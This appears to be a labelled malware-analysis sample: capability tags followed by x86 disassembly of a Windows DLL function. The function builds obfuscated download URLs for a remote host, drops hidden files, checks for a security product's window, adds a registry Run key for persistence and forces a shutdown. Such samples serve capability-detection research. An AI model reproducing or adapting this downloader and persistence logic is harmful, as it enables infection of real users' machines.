Function at 0x100032bd
Capabilities:
Disable system features via registry on windows
Resolve function by parsing pe exports
Set registry value
Shutdown system

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x10017020
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x2af4
call fcn.10010750
mov eax, dword [0x100200b0]
xor eax, esp
mov dword [esp + 0x2af0], eax
push ebx
push esi
push edi
mov eax, dword [0x100200b0]
xor eax, esp
push eax
lea eax, [esp + 0x2b08]
mov dword fs:[0], eax
push 0x68
pop eax
push 0x74
mov word [esp + 0x58], ax
pop eax
push 0x70
mov ecx, eax
mov word [esp + 0x5a], cx
mov word [esp + 0x5c], cx
pop ecx
push 0x3a
mov word [esp + 0x5e], cx
pop ecx
push 0x2f
pop esi
push 0x61
mov word [esp + 0x60], cx
mov ecx, esi
mov word [esp + 0x62], cx
mov word [esp + 0x64], cx
pop ecx
push 0x64
mov word [esp + 0x66], cx
pop ecx
push 0x35
mov word [esp + 0x68], cx
pop ecx
push 0x39
mov word [esp + 0x6a], cx
pop ecx
push 0x38
mov word [esp + 0x6c], cx
mov ecx, eax
mov word [esp + 0x6e], cx
pop ecx
push 0x32
mov word [esp + 0x70], cx
pop ecx
push 0x67
mov word [esp + 0x72], cx
pop ecx
push 0x2e
mov word [esp + 0x74], cx
pop ecx
push 0x63
mov word [esp + 0x76], cx
pop ecx
push 0x6f
mov word [esp + 0x78], cx
pop ecx
push 0x6d
mov word [esp + 0x7a], cx
pop ecx
push 0x32
mov word [esp + 0x7c], cx
mov ecx, esi
mov word [esp + 0x7e], cx
pop ecx
push 0x65
mov word [esp + 0x80], cx
mov ecx, esi
mov word [esp + 0x82], cx
mov ecx, eax
mov word [esp + 0x84], cx
pop ecx
push 0x78
mov word [esp + 0x86], cx
pop ecx
push 0x2e
mov word [esp + 0x8a], ax
pop eax
push 0x62
mov word [esp + 0x8c], ax
pop eax
push 0x6d
mov word [esp + 0x8e], ax
pop eax
push 0x70
mov word [esp + 0x90], ax
mov word [esp + 0x88], cx
pop eax
mov word [esp + 0x8e], ax
xor eax, eax
mov edi, 0x1fc
push edi
mov word [esp + 0x94], ax
mov word [esp + 0x2300], ax
xor ebx, ebx
lea eax, [esp + 0x2302]
push ebx
push eax
call fcn.1000c980
add esp, 0xc
xor eax, eax
movzx ecx, word [esp + eax + 0x54]
mov word [esp + eax + 0x22fc], cx
add eax, 2
cmp cx, bx
jne 0x10003434
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x68
pop eax
push 0x74
mov word [esp + 0x58], ax
pop eax
push 0x70
mov word [esp + 0x5a], ax
mov word [esp + 0x5c], ax
pop eax
push 0x3a
mov word [esp + 0x5e], ax
pop eax
push 0x61
mov word [esp + 0x60], ax
mov eax, esi
mov word [esp + 0x62], ax
mov word [esp + 0x64], ax
pop eax
push 0x64
mov word [esp + 0x66], ax
pop eax
push 0x35
mov word [esp + 0x68], ax
pop eax
push 0x39
mov word [esp + 0x6a], ax
pop eax
push 0x74
mov word [esp + 0x6c], ax
pop eax
push 0x38
mov word [esp + 0x6e], ax
pop eax
push 0x32
mov word [esp + 0x70], ax
pop eax
push 0x67
mov word [esp + 0x72], ax
pop eax
push 0x2e
mov word [esp + 0x74], ax
pop eax
push 0x63
mov word [esp + 0x76], ax
pop eax
push 0x6f
mov word [esp + 0x78], ax
pop eax
push 0x6d
mov word [esp + 0x7a], ax
pop eax
push 0x32
mov word [esp + 0x7c], ax
mov eax, esi
mov word [esp + 0x7e], ax
pop eax
push 0x64
mov word [esp + 0x80], ax
mov eax, esi
mov word [esp + 0x82], ax
pop eax
push 0x2e
mov word [esp + 0x84], ax
pop eax
push 0x62
mov word [esp + 0x86], ax
pop eax
push 0x6d
mov word [esp + 0x88], ax
pop eax
push 0x70
mov word [esp + 0x8a], ax
pop eax
mov word [esp + 0x88], ax
xor eax, eax
push edi
mov word [esp + 0x8e], ax
mov word [esp + 0x1f00], ax
push ebx
lea eax, [esp + 0x1f06]
push eax
call fcn.1000c980
add esp, 0xc
xor eax, eax
movzx ecx, word [esp + eax + 0x54]
mov word [esp + eax + 0x1efc], cx
add eax, 2
cmp cx, bx
jne 0x1000355b
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x68
pop eax
push 0x74
mov word [esp + 0x58], ax
pop eax
push 0x70
mov ecx, eax
mov word [esp + 0x5a], cx
mov word [esp + 0x5c], cx
pop ecx
push 0x3a
mov word [esp + 0x5e], cx
pop ecx
push 0x61
mov word [esp + 0x60], cx
mov ecx, esi
mov word [esp + 0x62], cx
mov word [esp + 0x64], cx
pop ecx
push 0x64
mov word [esp + 0x66], cx
pop ecx
push 0x35
mov word [esp + 0x68], cx
pop ecx
push 0x39
mov word [esp + 0x6a], cx
pop ecx
push 0x38
mov word [esp + 0x6c], cx
mov ecx, eax
mov word [esp + 0x6e], cx
pop ecx
push 0x32
mov word [esp + 0x70], cx
pop ecx
push 0x67
mov word [esp + 0x72], cx
pop ecx
push 0x2e
mov word [esp + 0x74], cx
pop ecx
push 0x63
mov word [esp + 0x76], cx
pop ecx
push 0x6f
mov word [esp + 0x78], cx
pop ecx
push 0x6d
mov word [esp + 0x7a], cx
pop ecx
push 0x32
mov word [esp + 0x7c], cx
mov ecx, esi
mov word [esp + 0x7e], cx
pop ecx
push 0x2e
mov word [esp + 0x84], ax
pop eax
push 0x62
mov word [esp + 0x86], ax
pop eax
push 0x6d
mov word [esp + 0x88], ax
pop eax
push 0x70
mov word [esp + 0x8a], ax
pop eax
mov word [esp + 0x88], ax
xor eax, eax
push edi
mov word [esp + 0x80], cx
mov word [esp + 0x8e], ax
mov word [esp + 0x2700], ax
mov ecx, esi
push ebx
lea eax, [esp + 0x2706]
mov word [esp + 0x86], cx
push eax
call fcn.1000c980
add esp, 0xc
xor eax, eax
movzx ecx, word [esp + eax + 0x54]
mov word [esp + eax + 0x26fc], cx
add eax, 2
cmp cx, bx
jne 0x10003680
push 0x68
pop eax
push 0x74
mov word [esp + 0x58], ax
pop eax
push 0x70
mov ecx, eax
mov word [esp + 0x5a], cx
mov word [esp + 0x5c], cx
pop ecx
push 0x3a
mov word [esp + 0x5e], cx
pop ecx
push 0x61
mov word [esp + 0x60], cx
mov ecx, esi
mov word [esp + 0x62], cx
mov word [esp + 0x64], cx
pop ecx
push 0x64
mov word [esp + 0x66], cx
pop ecx
push 0x35
mov word [esp + 0x68], cx
pop ecx
push 0x39
mov word [esp + 0x6a], cx
pop ecx
push 0x38
mov word [esp + 0x6c], cx
mov ecx, eax
mov word [esp + 0x6e], cx
pop ecx
push 0x32
mov word [esp + 0x70], cx
pop ecx
push 0x67
mov word [esp + 0x72], cx
pop ecx
push 0x2e
mov word [esp + 0x74], cx
pop ecx
push 0x63
mov word [esp + 0x76], cx
pop ecx
push 0x6f
mov word [esp + 0x78], cx
pop ecx
push 0x6d
mov word [esp + 0x7a], cx
pop ecx
push 0x32
mov word [esp + 0x7c], cx
mov ecx, esi
mov word [esp + 0x84], ax
mov word [esp + 0x7e], cx
pop ecx
push 0x36
pop eax
push 0x2e
mov word [esp + 0x86], ax
pop eax
push 0x62
mov word [esp + 0x88], ax
pop eax
push 0x6d
mov word [esp + 0x8a], ax
pop eax
push 0x70
mov word [esp + 0x8c], ax
pop eax
mov word [esp + 0x8a], ax
xor eax, eax
push edi
mov word [esp + 0x90], ax
mov word [esp + 0x2100], ax
push ebx
lea eax, [esp + 0x2106]
mov word [esp + 0x84], cx
mov word [esp + 0x86], si
push eax
call fcn.1000c980
add esp, 0xc
xor eax, eax
movzx ecx, word [esp + eax + 0x54]
mov word [esp + eax + 0x20fc], cx
add eax, 2
cmp cx, bx
jne 0x100037a6
push ebx
call fcn.1000b67b
pop ecx
push eax
call fcn.1000b54c
pop ecx
mov edi, 0xfe
push edi
lea eax, [esp + 0x1501]
push ebx
push eax
mov byte [esp + 0x1508], bl
call fcn.1000c980
add esp, 0xc
call fcn.1000b55e
push 3
cdq
pop ecx
idiv ecx
mov dword [esp + 0x1c], ebx
lea esi, [edx + 6]
cmp esi, ebx
jle 0x10003823
call fcn.1000b55e
cdq
push 0x3e
pop ecx
idiv ecx
mov ecx, dword [esp + 0x1c]
inc dword [esp + 0x1c]
mov al, byte [edx + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]
mov byte [esp + ecx + 0x14fc], al
cmp dword [esp + 0x1c], esi
jl 0x100037fd
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call esi
push edi
lea eax, [esp + 0x801]
push ebx
push eax
mov dword [esp + 0xf0], 0x505c3a43
mov dword [esp + 0xf4], 0x72676f72
mov dword [esp + 0xf8], 0x46206d61
mov dword [esp + 0xfc], 0x73656c69
mov dword [esp + 0x100], 0x38782820
mov dword [esp + 0x104], 0x5c2936
mov byte [esp + 0x808], bl
call fcn.1000c980
add esp, 0xc
lea eax, [esp + 0x14fc]
push eax
lea eax, [esp + 0xe8]
push eax
lea eax, [esp + 0x804]
push str._s_s_
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push edi
lea eax, [esp + 0x911]
push ebx
push eax
mov byte [esp + 0x918], bl
call fcn.1000c980
add esp, 0x1c
xor eax, eax
mov cl, byte [esp + eax + 0x7fc]
mov byte [esp + eax + 0x8fc], cl
inc eax
cmp cl, bl
jne 0x100038c6
push 1
call esi
lea eax, [esp + 0x8fc]
push eax
call dword [sym.imp.dbghelp.dll_MakeSureDirectoryPathExists]
push 1
call esi
push edi
lea eax, [esp + 0xd01]
push ebx
push eax
mov byte [esp + 0xd08], bl
call fcn.1000c980
add esp, 0xc
lea eax, [esp + 0x8fc]
push eax
lea eax, [esp + 0xd00]
push str._sFileSystem_
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 1
call esi
lea edi, [esp + 0xcfc]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10003932
mov esi, str.Stdio.dll
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x8fc]
push eax
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
or eax, 2
push eax
lea eax, [esp + 0x900]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov edi, 0xfe
push edi
lea eax, [esp + 0xc01]
push ebx
push eax
mov dword [esp + 0xdc], 0x2e643374
mov dword [esp + 0xe0], 0x706d74
mov byte [esp + 0xc08], bl
call fcn.1000c980
add esp, 0xc
lea eax, [esp + 0xd0]
push eax
lea eax, [esp + 0x800]
push eax
mov esi, str._s_s
lea eax, [esp + 0xc04]
push esi
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push edi
lea eax, [esp + 0x1011]
push ebx
push eax
mov byte [esp + 0x1018], bl
call fcn.1000c980
add esp, 0x1c
xor eax, eax
mov cl, byte [esp + eax + 0xbfc]
mov byte [esp + eax + 0xffc], cl
inc eax
cmp cl, bl
jne 0x100039d6
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
lea eax, [esp + 0x1201]
push ebx
push eax
mov dword [esp + 0xd4], 0x2e643474
mov dword [esp + 0xd8], 0x706d74
mov byte [esp + 0x1208], bl
call fcn.1000c980
add esp, 0xc
lea eax, [esp + 0xc8]
push eax
lea eax, [esp + 0x800]
push eax
lea eax, [esp + 0x1204]
push esi
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push edi
lea eax, [esp + 0xf11]
push ebx
push eax
mov byte [esp + 0xf18], bl
call fcn.1000c980
add esp, 0x1c
xor eax, eax
mov cl, byte [esp + eax + 0x11fc]
mov byte [esp + eax + 0xefc], cl
inc eax
cmp cl, bl
jne 0x10003a5a
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
lea eax, [esp + 0x1a01]
push ebx
push eax
mov dword [esp + 0xc4], 0x2e643574
mov dword [esp + 0xc8], 0x706d74
mov byte [esp + 0x1a08], bl
call fcn.1000c980
add esp, 0xc
lea eax, [esp + 0xb8]
push eax
lea eax, [esp + 0x800]
push eax
lea eax, [esp + 0x1a04]
push esi
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push edi
lea eax, [esp + 0x1911]
push ebx
push eax
mov byte [esp + 0x1918], bl
call fcn.1000c980
add esp, 0x1c
xor eax, eax
mov cl, byte [esp + eax + 0x19fc]
mov byte [esp + eax + 0x18fc], cl
inc eax
cmp cl, bl
jne 0x10003ade
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
lea eax, [esp + 0x1701]
push ebx
push eax
mov dword [esp + 0xcc], 0x2e643674
mov dword [esp + 0xd0], 0x706d74
mov byte [esp + 0x1708], bl
call fcn.1000c980
add esp, 0xc
lea eax, [esp + 0xc0]
push eax
lea eax, [esp + 0x800]
push eax
lea eax, [esp + 0x1704]
push esi
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push edi
lea eax, [esp + 0x1311]
push ebx
push eax
mov byte [esp + 0x1318], bl
call fcn.1000c980
add esp, 0x1c
xor eax, eax
mov cl, byte [esp + eax + 0x16fc]
mov byte [esp + eax + 0x12fc], cl
inc eax
cmp cl, bl
jne 0x10003b62
mov esi, 0x3f2
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x1000]
push 0x38a11
push eax
lea ecx, [esp + 0x2308]
mov dword [esp + 0x24], ebx
call fcn.10002927
add esp, 0xc
push esi
mov byte [esp + 0x1b], al
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [esp + 0x17], 1
jne 0x10003b7a
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0xf00]
push ebx
push eax
lea ecx, [esp + 0x1f08]
mov dword [esp + 0x24], ebx
call fcn.10002927
add esp, 0xc
push esi
mov byte [esp + 0x1b], al
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [esp + 0x17], 1
jne 0x10003bb1
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x1900]
push ebx
push eax
lea ecx, [esp + 0x2708]
mov dword [esp + 0x24], ebx
call fcn.10002927
add esp, 0xc
push esi
mov byte [esp + 0x1b], al
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [esp + 0x17], 1
jne 0x10003be4
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x1300]
push ebx
push eax
lea ecx, [esp + 0x2108]
mov dword [esp + 0x24], ebx
call fcn.10002927
add esp, 0xc
push esi
mov byte [esp + 0x1b], al
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [esp + 0x17], 1
jne 0x10003c17
push ebx
call fcn.1000b67b
pop ecx
push eax
call fcn.1000b54c
pop ecx
push edi
lea eax, [esp + 0xe01]
push ebx
push eax
mov byte [esp + 0xe08], bl
call fcn.1000c980
add esp, 0xc
xor esi, esi
call fcn.1000b55e
cdq
push 0x3e
pop ecx
idiv ecx
inc esi
mov al, byte [edx + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]
mov byte [esp + esi + 0xdfb], al
cmp esi, 7
jl 0x10003c73
push edi
lea eax, [esp + 0x401]
push ebx
push eax
mov byte [esp + 0x408], bl
call fcn.1000c980
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [esp + 0xdfc]
push eax
lea eax, [esp + 0x900]
push eax
lea eax, [esp + 0xe0]
push eax
lea eax, [esp + 0x408]
push eax
mov dword [esp + 0xe8], 0x73257325
mov dword [esp + 0xec], 0x6578652e
mov byte [esp + 0xf0], bl
call esi
push edi
lea eax, [esp + 0x1411]
push ebx
push eax
mov byte [esp + 0x1418], bl
call fcn.1000c980
add esp, 0x1c
lea eax, [esp + 0xdfc]
push eax
lea eax, [esp + 0xb4]
push eax
lea eax, [esp + 0x1404]
push eax
mov dword [esp + 0xbc], 0x652e7325
mov word [esp + 0xc0], 0x6578
mov byte [esp + 0xc2], bl
call esi
add esp, 0xc
lea eax, [esp + 0x13fc]
lea ecx, [esp + 0x38]
call fcn.1000566b
sub esp, 0x1c
mov dword [esp + 0x2b2c], ebx
lea ecx, [esp + 0x54]
mov eax, esp
mov dword [esp + 0x3c], esp
push ecx
call fcn.10005645
sub esp, 0x1c
mov byte [esp + 0x2b48], 1
mov eax, str.lalala123_
mov ecx, esp
mov dword [esp + 0x50], esp
call fcn.1000566b
sub esp, 0x1c
mov byte [esp + 0x2b64], 2
mov eax, str.text_
mov ecx, esp
mov dword [esp + 0x70], esp
call fcn.1000566b
sub esp, 0x1c
mov byte [esp + 0x2b80], 3
lea eax, [esp + 0x86c]
mov ecx, esp
mov dword [esp + 0x94], esp
call fcn.1000566b
sub esp, 0x1c
mov byte [esp + 0x2b9c], 4
lea eax, [esp + 0xc88]
mov ecx, esp
mov dword [esp + 0x12c], esp
call fcn.1000566b
lea eax, [esp + 0xb4]
push eax
mov byte [esp + 0x2ba0], bl
call fcn.10009d03
lea eax, [esp + 0xd8c]
push eax
lea eax, [esp + 0xf90]
push eax
mov byte [esp + 0x2ba8], 5
call fcn.10002ddd
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x98
push 1
call esi
push 0x320
call esi
xor eax, eax
push 0x1fc
mov word [esp + 0x2500], ax
lea eax, [esp + 0x2502]
push ebx
push eax
call fcn.1000c980
add esp, 0xc
push 0xff
lea eax, [esp + 0x400]
push eax
lea eax, [esp + 0x2504]
push eax
call fcn.1000ac5d
add esp, 0xc
push 0xfb
lea eax, [esp + 0x1604]
push ebx
push eax
mov dword [esp + 0x1608], 0x363351
call fcn.1000c980
mov esi, str.0SafeMonClass
lea edi, [esp + 0x1b08]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
add esp, 0xc
movsd dword es:[edi], dword [esi]
push 0xf1
lea eax, [esp + 0x1b0e]
push ebx
push eax
movsw word es:[edi], word [esi]
call fcn.1000c980
add esp, 0xc
lea eax, [esp + 0x1afc]
push eax
lea eax, [esp + 0x1600]
push 0xff
push eax
call fcn.1000b5bd
add esp, 0xc
push ebx
lea eax, [esp + 0x1600]
push eax
push ebx
push ebx
call dword [sym.imp.USER32.dll_FindWindowExA]
cmp eax, 1
jle 0x1000415f
call fcn.100018ea
mov dword [esp + 0x20], eax
cmp eax, 1
jne 0x10003f20
lea eax, [esp + 0x3fc]
push eax
call fcn.10002388
mov dword [esp], 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x3fc]
push eax
call fcn.10002388
pop ecx
jmp 0x1000466d
cmp eax, 3
jne 0x100040e8
push 0x68
pop eax
push 0x74
mov word [esp + 0x58], ax
pop eax
push 0x70
mov word [esp + 0x5a], ax
mov word [esp + 0x5c], ax
pop eax
push 0x3a
mov word [esp + 0x5e], ax
pop eax
push 0x2f
mov word [esp + 0x60], ax
pop eax
push 0x61
mov ecx, eax
mov word [esp + 0x62], cx
mov word [esp + 0x64], cx
pop ecx
push 0x64
mov word [esp + 0x66], cx
pop ecx
push 0x35
mov word [esp + 0x68], cx
pop ecx
push 0x39
mov word [esp + 0x6a], cx
pop ecx
push 0x74
mov word [esp + 0x6c], cx
pop ecx
push 0x38
mov word [esp + 0x6e], cx
pop ecx
push 0x32
mov word [esp + 0x70], cx
pop ecx
push 0x67
mov word [esp + 0x72], cx
pop ecx
push 0x2e
mov word [esp + 0x74], cx
pop ecx
push 0x63
mov word [esp + 0x76], cx
pop ecx
push 0x6f
mov word [esp + 0x78], cx
pop ecx
push 0x6d
mov word [esp + 0x7a], cx
pop ecx
push 0x32
mov word [esp + 0x7c], cx
mov ecx, eax
mov word [esp + 0x82], ax
mov word [esp + 0x7e], cx
pop ecx
push 0x68
pop eax
push 0x2e
mov word [esp + 0x84], ax
pop eax
push 0x62
mov word [esp + 0x86], ax
pop eax
push 0x6d
mov word [esp + 0x88], ax
pop eax
push 0x70
mov word [esp + 0x8a], ax
pop eax
mov word [esp + 0x88], ax
xor eax, eax
push 0x47
mov word [esp + 0x8e], ax
pop eax
mov word [esp + 0x7c], cx
mov word [esp + 0xa0], ax
push 0x45
mov esi, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
pop eax
mov word [esp + 0xa2], ax
push 0x54
pop eax
mov word [esp + 0xa4], ax
xor eax, eax
mov word [esp + 0xa6], ax
lea eax, [esp + 0xa0]
push eax
call esi
mov edi, eax
lea eax, [esp + 0x54]
push eax
call esi
mov esi, eax
push esi
lea eax, [esp + 0x20]
push edi
push eax
mov dword [esp + 0x28], ebx
call fcn.10002e84
add esp, 0xc
cmp dword [esp + 0x1c], 0x1f40
mov dword [esp + 0x18], eax
jae 0x10004096
push 0x5e1
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
lea eax, [esp + 0x20]
push edi
push eax
call fcn.10002e84
add esp, 0xc
push 0x18cd
push dword [esp + 0x20]
push dword [esp + 0x20]
call fcn.100028f5
mov ecx, dword [esp + 0x28]
add esp, 0xc
lea eax, [esp + 0x24fc]
push eax
push dword [esp + 0x1c]
call fcn.10003007
mov esi, eax
pop ecx
pop ecx
cmp esi, ebx
jne 0x100040d6
lea eax, [esp + 0x3fc]
push eax
call fcn.10001144
pop ecx
cmp esi, 1
jne 0x1000466d
push ebx
push 4
call dword [sym.imp.USER32.dll_ExitWindowsEx]
cmp dword [esp + 0x20], 9
jne 0x1000466d
lea eax, [esp + 0x3fc]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
mov edi, dword [sym.imp.USER32.dll_FindWindowA]
movzx eax, ax
push 0x1001c712
push str.SHELL_TrayWnd
mov dword [esp + 0x28], eax
call edi
mov esi, dword [sym.imp.USER32.dll_PostMessageA]
push ebx
push 0x641
push 0x4ea
push eax
mov dword [esp + 0x28], eax
call esi
movzx eax, word [esp + 0x20]
push eax
push 0x641
push 0x4e9
push dword [esp + 0x24]
call esi
push ebx
push str.Shell_TrayWnd
call edi
push ebx
push ebx
push 0x312
push eax
call esi
jmp 0x1000466d
push 0xfe
lea eax, [esp + 0xa01]
push ebx
push eax
mov byte [esp + 0xa08], bl
call fcn.1000c980
lea eax, [esp + 0x808]
add esp, 0xc
mov edx, eax
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10004185
lea edi, [esp + 0x9fc]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x10004196
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x9fc]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x100041b6
mov esi, 0x1001c790
movsd dword es:[edi], dword [esi]
lea edi, [esp + 0x9fc]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x100041cc
mov esi, 0x1001c794
push 0xfe
movsw word es:[edi], word [esi]
lea eax, [esp + 0xb01]
push ebx
push eax
movsb byte es:[edi], byte [esi]
mov byte [esp + 0xb08], bl
call fcn.1000c980
lea edi, [esp + 0xb08]
add esp, 0xc
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10004201
mov esi, 0x1001c798
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xafc]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10004219
mov esi, 0x1001c79c
movsd dword es:[edi], dword [esi]
lea edi, [esp + 0xafc]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x1000422f
mov esi, 0x1001c7a0
push 0xfe
movsw word es:[edi], word [esi]
lea eax, [esp + 0x101]
push ebx
push eax
movsb byte es:[edi], byte [esi]
mov byte [esp + 0x108], bl
call fcn.1000c980
lea edi, [esp + 0x108]
add esp, 0xc
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10004264
mov esi, 0x1001c7a4
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xfc]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x1000427c
mov esi, str.d__HK
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [esp + 0xfc]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10004294
mov esi, str.CUSOF
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xfc]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x100042ad
mov esi, str.TWAREMic
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [esp + 0xfc]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x100042c6
mov esi, str.roso
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xfc]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x100042dd
mov esi, str.ftWin
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xfc]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x100042f6
mov esi, str.dowsCurr
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [esp + 0xfc]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x1000430f
mov esi, str.entVe
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [esp + 0xfc]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10004327
mov esi, str.rsionR
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea edi, [esp + 0xfc]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x1000433e
mov esi, str.un___v_de
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [esp + 0xfc]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10004357
mov esi, str.mo__t_RE
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xfc]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x1000436f
mov esi, str.G_SZ__d__
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x3fc]
movsw word es:[edi], word [esi]
mov edx, eax
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10004389
lea edi, [esp + 0xfc]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x1000439a
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xfc]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x100043ba
xor eax, eax
push 0x1fc
mov word [esp + 0x2900], ax
lea eax, [esp + 0x2902]
push ebx
mov esi, 0x1001c814
push eax
movsw word es:[edi], word [esi]
call fcn.1000c980
add esp, 0xc
push 0xff
lea eax, [esp + 0xa00]
push eax
lea eax, [esp + 0x2904]
push eax
call fcn.1000ac5d
add esp, 0xc
xor eax, eax
push 0x1fc
mov word [esp + 0x1d00], ax
lea eax, [esp + 0x1d02]
push ebx
push eax
call fcn.1000c980
add esp, 0xc
lea edi, [esp + 0x1cfc]
push 2
sub edi, 2
pop edx
mov ax, word [edi + 2]
add edi, edx
cmp ax, bx
jne 0x10004433
mov esi, 0x1001c818
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [esp + 0x1cfc]
sub edi, 2
mov ax, word [edi + 2]
add edi, edx
cmp ax, bx
jne 0x10004450
mov esi, str.le:___
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x28fc]
movsw word es:[edi], word [esi]
mov esi, eax
mov cx, word [eax]
add eax, edx
cmp cx, bx
jne 0x1000446e
lea edi, [esp + 0x1cfc]
sub eax, esi
sub edi, 2
mov cx, word [edi + 2]
add edi, edx
cmp cx, bx
jne 0x10004484
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, str.BkSha
lea edi, [esp + 0x17fc]
movsd dword es:[edi], dword [esi]
push 0xf9
lea eax, [esp + 0x1806]
push ebx
push eax
movsw word es:[edi], word [esi]
call fcn.1000c980
mov esi, str.dowWndClass
lea edi, [esp + 0x1c08]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
add esp, 0xc
movsd dword es:[edi], dword [esi]
mov esi, 0xf3
push esi
lea eax, [esp + 0x1c0c]
push ebx
push eax
call fcn.1000c980
add esp, 0xc
lea eax, [esp + 0x1bfc]
push eax
lea eax, [esp + 0x1800]
push 0xff
push eax
call fcn.1000b5bd
add esp, 0xc
push ebx
lea eax, [esp + 0x1800]
push eax
push ebx
push ebx
call dword [sym.imp.USER32.dll_FindWindowExA]
cmp eax, 1
jle 0x10004688
lea eax, [esp + 0x9fc]
push eax
lea edi, [esp + 0x100]
lea ebx, [esp + 0xb00]
call fcn.10001030
mov dword [esp], 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
js 0x10004593
and dword [esp + 0x18], 0
lea eax, [esp + 0x18]
push eax
push str._Y_a
push 0x17
push 0
